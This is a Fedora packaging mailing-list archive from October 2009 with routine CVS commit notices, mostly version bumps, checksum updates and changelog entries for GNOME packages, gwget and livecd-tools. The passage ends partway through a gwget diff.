Message-ID: <20091020011401.1E1CF10F80D@bastion2.fedora.phx.redhat.com>

nb has set the approveacls acl on sks (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/sks



From jstanley at fedoraproject.org  Tue Oct 20 01:16:27 2009
From: jstanley at fedoraproject.org (Jon Stanley)
Date: Tue, 20 Oct 2009 01:16:27 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/devel test.ignore,NONE,1.1
Message-ID: <20091020011627.6DC3E11C00DC@cvs1.fedora.phx.redhat.com>

Author: jstanley

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10237

Added Files:
	test.ignore 
Log Message:
Test



--- NEW FILE test.ignore ---



From jstanley at fedoraproject.org  Tue Oct 20 01:17:42 2009
From: jstanley at fedoraproject.org (Jon Stanley)
Date: Tue, 20 Oct 2009 01:17:42 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/devel test.ignore,1.1,NONE
Message-ID: <20091020011742.8473111C00DC@cvs1.fedora.phx.redhat.com>

Author: jstanley

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11017

Removed Files:
	test.ignore 
Log Message:
removing test file



--- test.ignore DELETED ---



From mclasen at fedoraproject.org  Tue Oct 20 01:30:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 01:30:19 +0000 (UTC)
Subject: rpms/libsoup/F-12 .cvsignore, 1.57, 1.58 libsoup.spec, 1.102,
	1.103 sources, 1.57, 1.58
Message-ID: <20091020013020.040C011C029A@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libsoup/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16236

Modified Files:
	.cvsignore libsoup.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libsoup/F-12/.cvsignore,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- .cvsignore	22 Sep 2009 01:15:39 -0000	1.57
+++ .cvsignore	20 Oct 2009 01:30:19 -0000	1.58
@@ -1 +1 @@
-libsoup-2.28.0.tar.bz2
+libsoup-2.28.1.tar.bz2


Index: libsoup.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libsoup/F-12/libsoup.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- libsoup.spec	22 Sep 2009 01:15:39 -0000	1.102
+++ libsoup.spec	20 Oct 2009 01:30:19 -0000	1.103
@@ -3,7 +3,7 @@
 ### Abstract ###
 
 Name: libsoup
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: LGPLv2
 Group: Development/Libraries
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/%{name}-2.4
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libsoup/F-12/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	22 Sep 2009 01:15:40 -0000	1.57
+++ sources	20 Oct 2009 01:30:19 -0000	1.58
@@ -1 +1 @@
-013831a13584e876f419d8059f73637b  libsoup-2.28.0.tar.bz2
+6c303cae11bde065497992d2444cc96a  libsoup-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 20 01:32:23 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 01:32:23 +0000 (UTC)
Subject: rpms/cheese/F-12 .cvsignore, 1.37, 1.38 cheese.spec, 1.65,
	1.66 sources, 1.37, 1.38
Message-ID: <20091020013223.28B2411C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/cheese/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16655

Modified Files:
	.cvsignore cheese.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cheese/F-12/.cvsignore,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- .cvsignore	30 Sep 2009 03:24:50 -0000	1.37
+++ .cvsignore	20 Oct 2009 01:32:22 -0000	1.38
@@ -1 +1 @@
-cheese-2.28.0.1.tar.bz2
+cheese-2.28.1.tar.bz2


Index: cheese.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cheese/F-12/cheese.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- cheese.spec	30 Sep 2009 03:24:50 -0000	1.65
+++ cheese.spec	20 Oct 2009 01:32:22 -0000	1.66
@@ -1,5 +1,5 @@
 Name:           cheese
-Version:        2.28.0.1
+Version:        2.28.1
 Release:        1%{?dist}
 Summary:        Application for taking pictures and movies from a webcam
 
@@ -127,6 +127,9 @@ fi
 %{_datadir}/dbus-1/services/org.gnome.Cheese.service
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen  <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 29 2009 Matthias Clasen  <mclasen at redhat.com> 2.28.0.1-1
 - Update to 2.28.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cheese/F-12/sources,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- sources	30 Sep 2009 03:24:50 -0000	1.37
+++ sources	20 Oct 2009 01:32:22 -0000	1.38
@@ -1 +1 @@
-843a64fb7392286dce9ac1dd0e2457c5  cheese-2.28.0.1.tar.bz2
+9accb0d6fa3f1f7644bade886c6078c3  cheese-2.28.1.tar.bz2



From lennart at fedoraproject.org  Tue Oct 20 01:35:00 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Tue, 20 Oct 2009 01:35:00 +0000 (UTC)
Subject: rpms/libcanberra/devel .cvsignore, 1.20, 1.21 libcanberra.spec, 1.40,
	1.41 sources, 1.22, 1.23
Message-ID: <20091020013500.5508711C00DC@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17737

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.22


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	15 Oct 2009 23:20:49 -0000	1.20
+++ .cvsignore	20 Oct 2009 01:35:00 -0000	1.21
@@ -1 +1 @@
-libcanberra-0.21.tar.gz
+libcanberra-0.22.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/libcanberra.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- libcanberra.spec	15 Oct 2009 23:20:49 -0000	1.40
+++ libcanberra.spec	20 Oct 2009 01:35:00 -0000	1.41
@@ -1,5 +1,5 @@
 Name: libcanberra
-Version: 0.21
+Version: 0.22
 Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Tue Oct 20 2009 Lennart Poettering <lpoetter at redhat.com> 0.22-1
+- New version 0.22
+
 * Fri Oct 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.21-1
 - New version 0.21
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	15 Oct 2009 23:20:49 -0000	1.22
+++ sources	20 Oct 2009 01:35:00 -0000	1.23
@@ -1 +1 @@
-6d7b5eb6be8fca491008da529a02f5d5  libcanberra-0.21.tar.gz
+e24e2f956fedfbcc58edfa40471b18d8  libcanberra-0.22.tar.gz



From mclasen at fedoraproject.org  Tue Oct 20 01:52:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 01:52:53 +0000 (UTC)
Subject: rpms/mousetweaks/F-12 .cvsignore, 1.29, 1.30 mousetweaks.spec, 1.36,
	1.37 sources, 1.29, 1.30
Message-ID: <20091020015253.AF5F611C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/mousetweaks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22358

Modified Files:
	.cvsignore mousetweaks.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mousetweaks/F-12/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	22 Sep 2009 05:26:50 -0000	1.29
+++ .cvsignore	20 Oct 2009 01:52:53 -0000	1.30
@@ -1 +1 @@
-mousetweaks-2.28.0.tar.bz2
+mousetweaks-2.28.1.tar.bz2


Index: mousetweaks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mousetweaks/F-12/mousetweaks.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- mousetweaks.spec	22 Sep 2009 05:26:50 -0000	1.36
+++ mousetweaks.spec	20 Oct 2009 01:52:53 -0000	1.37
@@ -1,5 +1,5 @@
 Name:		mousetweaks
-Version:	2.28.0
+Version:	2.28.1
 Release:	1%{?dist}
 Summary:	Mouse accessibility support for the GNOME desktop
 Group:		User Interface/Desktops
@@ -108,6 +108,9 @@ fi
 %doc %{_mandir}/man1/*
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mousetweaks/F-12/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	22 Sep 2009 05:26:50 -0000	1.29
+++ sources	20 Oct 2009 01:52:53 -0000	1.30
@@ -1 +1 @@
-92038b98c3d6815fc6c3699485bd04e1  mousetweaks-2.28.0.tar.bz2
+a6d786f4df2be96202d76c4c0e6ba43c  mousetweaks-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 20 01:56:07 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 01:56:07 +0000 (UTC)
Subject: rpms/gok/F-12 .cvsignore, 1.46, 1.47 gok.spec, 1.88, 1.89 sources, 
	1.46, 1.47
Message-ID: <20091020015607.DD75411C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gok/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24175

Modified Files:
	.cvsignore gok.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gok/F-12/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	22 Sep 2009 05:22:41 -0000	1.46
+++ .cvsignore	20 Oct 2009 01:56:07 -0000	1.47
@@ -1 +1 @@
-gok-2.28.0.tar.bz2
+gok-2.28.1.tar.bz2


Index: gok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gok/F-12/gok.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- gok.spec	22 Sep 2009 05:22:41 -0000	1.88
+++ gok.spec	20 Oct 2009 01:56:07 -0000	1.89
@@ -2,7 +2,7 @@
 
 Summary: GNOME Onscreen Keyboard
 Name: gok
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: LGPLv2+
 Group: User Interface/Desktops
@@ -68,8 +68,6 @@ applications and plugins for gok.
 %setup -q
 %patch0 -p1 -b .launcher
 %patch1 -p1 -b .lm
-# http://bugzilla.gnome.org/show_bug.cgi?id=514007
-chmod a-x help/gok/C/legal.xml
 
 %build
 %configure
@@ -150,6 +148,9 @@ scrollkeeper-update -q
 %{_datadir}/gtk-doc/html/gok
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gok/F-12/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	22 Sep 2009 05:22:41 -0000	1.46
+++ sources	20 Oct 2009 01:56:07 -0000	1.47
@@ -1 +1 @@
-84a48b4caa35360d7b406236c21cc061  gok-2.28.0.tar.bz2
+d7305f12c703e13eeaed796f996dbc86  gok-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 20 02:00:52 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 02:00:52 +0000 (UTC)
Subject: rpms/control-center/F-12 .cvsignore, 1.95, 1.96 control-center.spec,
	1.498, 1.499 sources, 1.98, 1.99
Message-ID: <20091020020052.06C0711C029A@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25829

Modified Files:
	.cvsignore control-center.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/.cvsignore,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- .cvsignore	22 Sep 2009 05:48:16 -0000	1.95
+++ .cvsignore	20 Oct 2009 02:00:51 -0000	1.96
@@ -1 +1 @@
-gnome-control-center-2.28.0.tar.bz2
+gnome-control-center-2.28.1.tar.bz2


Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.498
retrieving revision 1.499
diff -u -p -r1.498 -r1.499
--- control-center.spec	10 Oct 2009 01:56:18 -0000	1.498
+++ control-center.spec	20 Oct 2009 02:00:51 -0000	1.499
@@ -23,8 +23,8 @@
 
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
-Version: 2.28.0
-Release: 16%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -398,6 +398,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1, just translation updates
+
 * Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-16
 - Cosmetic change to the background tab in the appearance capplet
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/sources,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- sources	22 Sep 2009 05:48:17 -0000	1.98
+++ sources	20 Oct 2009 02:00:51 -0000	1.99
@@ -1 +1 @@
-c0e009ed5d94d12a183b61136dd908de  gnome-control-center-2.28.0.tar.bz2
+a37a1b5ff4cfce45baef0cf31126d380  gnome-control-center-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 20 02:20:34 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 02:20:34 +0000 (UTC)
Subject: rpms/gnome-games/F-12 .cvsignore, 1.105, 1.106 gnome-games.spec,
	1.231, 1.232 sources, 1.110, 1.111
Message-ID: <20091020022034.52DC211C02A4@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-games/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29300

Modified Files:
	.cvsignore gnome-games.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-games/F-12/.cvsignore,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- .cvsignore	22 Sep 2009 04:57:14 -0000	1.105
+++ .cvsignore	20 Oct 2009 02:20:33 -0000	1.106
@@ -1 +1 @@
-gnome-games-2.28.0.tar.bz2
+gnome-games-2.28.1.tar.bz2


Index: gnome-games.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-games/F-12/gnome-games.spec,v
retrieving revision 1.231
retrieving revision 1.232
diff -u -p -r1.231 -r1.232
--- gnome-games.spec	22 Sep 2009 05:21:36 -0000	1.231
+++ gnome-games.spec	20 Oct 2009 02:20:33 -0000	1.232
@@ -45,7 +45,7 @@
 
 Summary: Games for the GNOME desktop
 Name: gnome-games
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
@@ -502,6 +502,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-games/F-12/sources,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- sources	22 Sep 2009 04:57:14 -0000	1.110
+++ sources	20 Oct 2009 02:20:33 -0000	1.111
@@ -1 +1 @@
-39101397625e931a74f40854eeb1d182  gnome-games-2.28.0.tar.bz2
+c67497debd70aa8847874616660dae48  gnome-games-2.28.1.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 02:23:22 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 20 Oct 2009 02:23:22 +0000 (UTC)
Subject: rpms/gwget/devel .cvsignore, 1.14, 1.15 gwget.spec, 1.37,
	1.38 sources, 1.14, 1.15
Message-ID: <20091020022322.C6C3711C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gwget/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29731

Modified Files:
	.cvsignore gwget.spec sources 
Log Message:
* Tue Oct 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.4-1
- Update to 1.0.4, fixes crash with GTK >= 2.18



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	4 Oct 2009 20:28:52 -0000	1.14
+++ .cvsignore	20 Oct 2009 02:23:22 -0000	1.15
@@ -1 +1 @@
-gwget-1.0.3.tar.bz2
+gwget-1.0.4.tar.bz2


Index: gwget.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/gwget.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- gwget.spec	4 Oct 2009 20:28:52 -0000	1.37
+++ gwget.spec	20 Oct 2009 02:23:22 -0000	1.38
@@ -4,7 +4,7 @@
 %global _with_epiphany 1
 
 Name:		gwget
-Version:	1.0.3
+Version:	1.0.4
 Release:	1%{?dist}
 Summary:	Graphical download manager that uses wget
 
@@ -118,6 +118,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 
 
 %changelog
+* Tue Oct 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.4-1
+- Update to 1.0.4, fixes crash with GTK >= 2.18
+
 * Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
 - Update to 1.0.3
 - Remove Vincent's patch as it was upstreamed


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	4 Oct 2009 20:28:52 -0000	1.14
+++ sources	20 Oct 2009 02:23:22 -0000	1.15
@@ -1 +1 @@
-5cf5e1a8760d9452a2c7ba9c4a096b94  gwget-1.0.3.tar.bz2
+b65ebc752cad068e747ae6ef45fafdcc  gwget-1.0.4.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 02:24:56 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 20 Oct 2009 02:24:56 +0000 (UTC)
Subject: rpms/gwget/devel gwget.desktop,1.3,NONE
Message-ID: <20091020022456.491A911C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gwget/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29998

Removed Files:
	gwget.desktop 
Log Message:
remove obsolete desktop file


--- gwget.desktop DELETED ---



From wtogami at fedoraproject.org  Tue Oct 20 02:25:22 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Tue, 20 Oct 2009 02:25:22 +0000 (UTC)
Subject: rpms/livecd-tools/devel .cvsignore, 1.25, 1.26 livecd-tools.spec,
	1.34, 1.35 sources, 1.26, 1.27
Message-ID: <20091020022522.746E211C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30083

Modified Files:
	.cvsignore livecd-tools.spec sources 
Log Message:
make it actually work



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	19 Oct 2009 19:23:33 -0000	1.25
+++ .cvsignore	20 Oct 2009 02:25:21 -0000	1.26
@@ -1 +1 @@
-livecd-tools-029.tar.bz2
+livecd-tools-030.tar.bz2


Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/livecd-tools.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- livecd-tools.spec	19 Oct 2009 19:23:33 -0000	1.34
+++ livecd-tools.spec	20 Oct 2009 02:25:22 -0000	1.35
@@ -4,7 +4,7 @@
 
 Summary: Tools for building live CDs
 Name: livecd-tools
-Version: 029
+Version: 030
 Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Base
@@ -83,7 +83,7 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
-* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-1
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 030-1
 - Tell dracut not to ask for LUKS passwords or activate mdraid sets
 - Silence the /etc/modprobe.conf deprecation warning
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	19 Oct 2009 19:23:33 -0000	1.26
+++ sources	20 Oct 2009 02:25:22 -0000	1.27
@@ -1 +1 @@
-3f27a366e72a14ca177502b13ddc0491  livecd-tools-029.tar.bz2
+36dd8554f89bc3230cb939f06caa66af  livecd-tools-030.tar.bz2



From wtogami at fedoraproject.org  Tue Oct 20 02:26:53 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Tue, 20 Oct 2009 02:26:53 +0000 (UTC)
Subject: rpms/livecd-tools/devel livecd-tools.spec,1.35,1.36
Message-ID: <20091020022653.8945A11C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30989

Modified Files:
	livecd-tools.spec 
Log Message:
no patch



Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/devel/livecd-tools.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- livecd-tools.spec	20 Oct 2009 02:25:22 -0000	1.35
+++ livecd-tools.spec	20 Oct 2009 02:26:53 -0000	1.36
@@ -10,7 +10,6 @@ License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
 Source0: %{name}-%{version}.tar.bz2
-Patch0: livecd-modprobe.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires: python-imgcreate = %{version}-%{release}
 Requires: mkisofs
@@ -52,7 +51,6 @@ like live image or appliances.
 
 %prep
 %setup -q
-%patch0 -p1
 
 %build
 make



From wtogami at fedoraproject.org  Tue Oct 20 02:27:53 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Tue, 20 Oct 2009 02:27:53 +0000 (UTC)
Subject: rpms/livecd-tools/F-12 .cvsignore, 1.25, 1.26 livecd-tools.spec,
	1.36, 1.37 sources, 1.26, 1.27
Message-ID: <20091020022753.42B3511C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/livecd-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31111

Modified Files:
	.cvsignore livecd-tools.spec sources 
Log Message:
make it actually work



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	19 Oct 2009 19:24:53 -0000	1.25
+++ .cvsignore	20 Oct 2009 02:27:53 -0000	1.26
@@ -1 +1 @@
-livecd-tools-029.tar.bz2
+livecd-tools-030.tar.bz2


Index: livecd-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/livecd-tools.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- livecd-tools.spec	19 Oct 2009 19:33:26 -0000	1.36
+++ livecd-tools.spec	20 Oct 2009 02:27:53 -0000	1.37
@@ -4,8 +4,8 @@
 
 Summary: Tools for building live CDs
 Name: livecd-tools
-Version: 029
-Release: 3%{?dist}
+Version: 030
+Release: 1%{?dist}
 License: GPLv2
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/livecd
@@ -81,7 +81,7 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/imgcreate/*.pyc
 
 %changelog
-* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 029-3
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> - 030-1
 - Tell dracut not to ask for LUKS passwords or activate mdraid sets
 - Silence the /etc/modprobe.conf deprecation warning
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/livecd-tools/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	19 Oct 2009 19:24:53 -0000	1.26
+++ sources	20 Oct 2009 02:27:53 -0000	1.27
@@ -1 +1 @@
-3f27a366e72a14ca177502b13ddc0491  livecd-tools-029.tar.bz2
+36dd8554f89bc3230cb939f06caa66af  livecd-tools-030.tar.bz2



From cwickert at fedoraproject.org  Tue Oct 20 02:30:15 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 20 Oct 2009 02:30:15 +0000 (UTC)
Subject: rpms/gwget/F-12 .cvsignore, 1.14, 1.15 gwget.spec, 1.37,
	1.38 sources, 1.14, 1.15 gwget.desktop, 1.3, NONE
Message-ID: <20091020023015.6722D11C02A6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gwget/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31444

Modified Files:
	.cvsignore gwget.spec sources 
Removed Files:
	gwget.desktop 
Log Message:
* Tue Oct 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.4-1
- Update to 1.0.4, fixes crash with GTK >= 2.18



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	4 Oct 2009 21:01:29 -0000	1.14
+++ .cvsignore	20 Oct 2009 02:30:14 -0000	1.15
@@ -1 +1 @@
-gwget-1.0.3.tar.bz2
+gwget-1.0.4.tar.bz2


Index: gwget.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/gwget.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- gwget.spec	4 Oct 2009 21:01:30 -0000	1.37
+++ gwget.spec	20 Oct 2009 02:30:15 -0000	1.38
@@ -4,7 +4,7 @@
 %global _with_epiphany 1
 
 Name:		gwget
-Version:	1.0.3
+Version:	1.0.4
 Release:	1%{?dist}
 Summary:	Graphical download manager that uses wget
 
@@ -118,6 +118,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 
 
 %changelog
+* Tue Oct 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.4-1
+- Update to 1.0.4, fixes crash with GTK >= 2.18
+
 * Sun Oct 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.0.3-1
 - Update to 1.0.3
 - Remove Vincent's patch as it was upstreamed


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gwget/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	4 Oct 2009 21:01:30 -0000	1.14
